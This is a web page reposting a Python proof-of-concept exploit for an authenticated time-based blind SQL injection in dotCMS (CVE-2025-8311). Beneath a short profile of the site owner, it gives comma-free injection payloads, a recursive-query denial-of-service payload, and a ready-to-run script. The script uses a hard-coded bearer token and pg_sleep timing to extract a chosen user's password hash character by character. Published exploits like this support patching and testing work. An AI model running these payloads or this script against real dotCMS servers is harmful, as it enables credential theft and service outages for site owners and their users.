Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

#!/usr/bin/env python3

# Exploit Title: dotCMS 25.07.02-1 - Authenticated Blind SQL #!/usr/bin/env python3

# Exploit Title: dotCMS 25.07.02-1 - Authenticated Blind SQL Injection
# Google Dork: N/A
# Date: 2025-09-09
# Exploit Author: Matan Sandori (OSCP, OSEP, OSWE)
# Vendor Homepage:*https://www.dotcms.com/
# Software Link: https://github.com/dotCMS/core/releases/tag/v25.07.02-1 (tested on: v25.07.02-1)
# Version: Affects 24.03.22 and later (see vendor advisory for fixed versions)
# Tested on: dotCMS v25.07.02-1 (Docker / Linux)
# CVE: CVE-2025-8311


# The application blocks the comma character, so a simple DoS payload like:
# ') AND 1=(SELECT 1 FROM generate_series(1,500000) AS a CROSS JOIN generate_series(1,500000) AS b) AND ('FYHh' LIKE 'FYHh
# will not work.

# Instead, a comma-free payload can be used, for example:
# ') AND 1=(WITH RECURSIVE nums(i) AS (SELECT 1 UNION ALL SELECT i + 1 FROM nums WHERE i < 1000000) SELECT MIN(1) FROM nums AS a CROSS JOIN nums AS b) AND ('A' LIKE 'A

# Example query for time-based extraction of data:
# ') AND 1=(SELECT CASE WHEN (substring(emailaddress from 1 for 1)='a') THEN (SELECT 1 FROM pg_sleep(10) WHERE firstname='Admin') ELSE 1 END FROM user_ WHERE firstname='Admin') AND ('1' LIKE '1

# This PoC demonstrates time-based blind SQLi. Error-based SQLi is also possible and allows faster data extraction.
# Using sqlmap with the --no-cast flag is recommended, as it will not work otherwise.

import sys
import time
import string
import urllib3
import requests

### User configuration
HOST="127.0.0.1:8443";
TARGET_ACCOUNT = "This email address is being protected from spambots. You need JavaScript enabled to view it.";
SLEEP_TIME=10;
TOKEN="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhcGk0ZjFhNGYyMi1lYzI5LTQ4OTUtYTBlYi1jYjRkYjEzOGQ2MDAiLCJ4bW9kIjoxNzUxOTQzOTEwMDAwLCJuYmYiOjE3NTE5NDM5MTAsImlzcyI6ImRvdGNtc19kZXYiLCJsYWJlbCI6InRva2VuIiwiZXhwIjoxODQ2NjQxNjAxLCJpYXQiOjE3NTE5NDM5MTAsImp0aSI6IjMyNjIxYmRkLTNhYjEtNGRiMi1iNjEyLWMzMDg5M2EyODBiZSJ9.jqXkfM4Itxy_q2kA10srcL_3NBBx6keXx2PM0mESPFI";
CHARS = string.printable;

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning);

def encode_all_characters(string):
return "".join("%{0:0>2x}".format(ord(char)) for char in string);

def send_request(payload=""):
payload = encode_all_characters(payload);
burp0_url = f"https://{HOST}/api/v1/contenttype?filter=LCKwsF&page=774232&per_page=517532&orderby=wDdAmr&direction=DESC&type=DOTASSET&host=BBadoI&sites=PoC{payload}";
burp0_headers = {"Accept-Encoding": "gzip, deflate, br", "Accept": "*/*", "Accept-Language": "en-US;q=0.9,en;q=0.8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", "Connection": "close", "Cache-Control": "max-age=0", "Authorization": f"Bearer {TOKEN}"};
return requests.get(burp0_url, headers=burp0_headers, verify=False);

def send_sqli(q):
query = "') AND 1=(" + q + ") AND ('A' LIKE 'A";
return send_request(query);

def test_sqli():
print("[!] Checking target responsiveness...")
r = send_request();

if '{"entity":[],"errors":[],"i18nMessagesMap":{},"messages":[],"pagination":{"currentPage":' not in r.text:
print("[-] Target did NOT return the expected JSON structure. Exiting.");
sys.exit(1);

print("[+] Target responded correctly.\n");

r = send_sqli(f"SELECT 1 FROM PG_SLEEP({SLEEP_TIME})");

if (not r.elapsed.total_seconds() >= SLEEP_TIME):
print("[-] Target did not pause as expected; Exiting.");
sys.exit(1);


def retrieve_password(TEMPLATE, CHARS):
CHARS = ":" + CHARS.replace(":", '');
output = "";
index = 1;

while True:
for character in CHARS:
query = str(TEMPLATE).replace("[_INDEX_PLACEHOLDER_]", str(index)).replace("[_ASCII_PLACEHOLDER_]", str(ord(character)));

r = send_sqli(query);

if (r.elapsed.total_seconds() >= SLEEP_TIME):
print(f"[+] Found character: {character}");
index += 1;
output += character;
break;
else:
break;

return output;

test_sqli();

print("[+] Target is Vulnerable to SQL Injection.\n");

TEMPLATE = f"SELECT (CASE WHEN (substring(password_ from [_INDEX_PLACEHOLDER_] for 1)=chr([_ASCII_PLACEHOLDER_])) THEN (SELECT 1 FROM pg_sleep({SLEEP_TIME / 2}) WHERE emailaddress = '{TARGET_ACCOUNT}') ELSE 1 END) from user_ where emailaddress = '{TARGET_ACCOUNT}'";

password = retrieve_password(TEMPLATE, CHARS);

print(f"[+] Retrieved hash/password for {TARGET_ACCOUNT}: {password}");

Social Media Share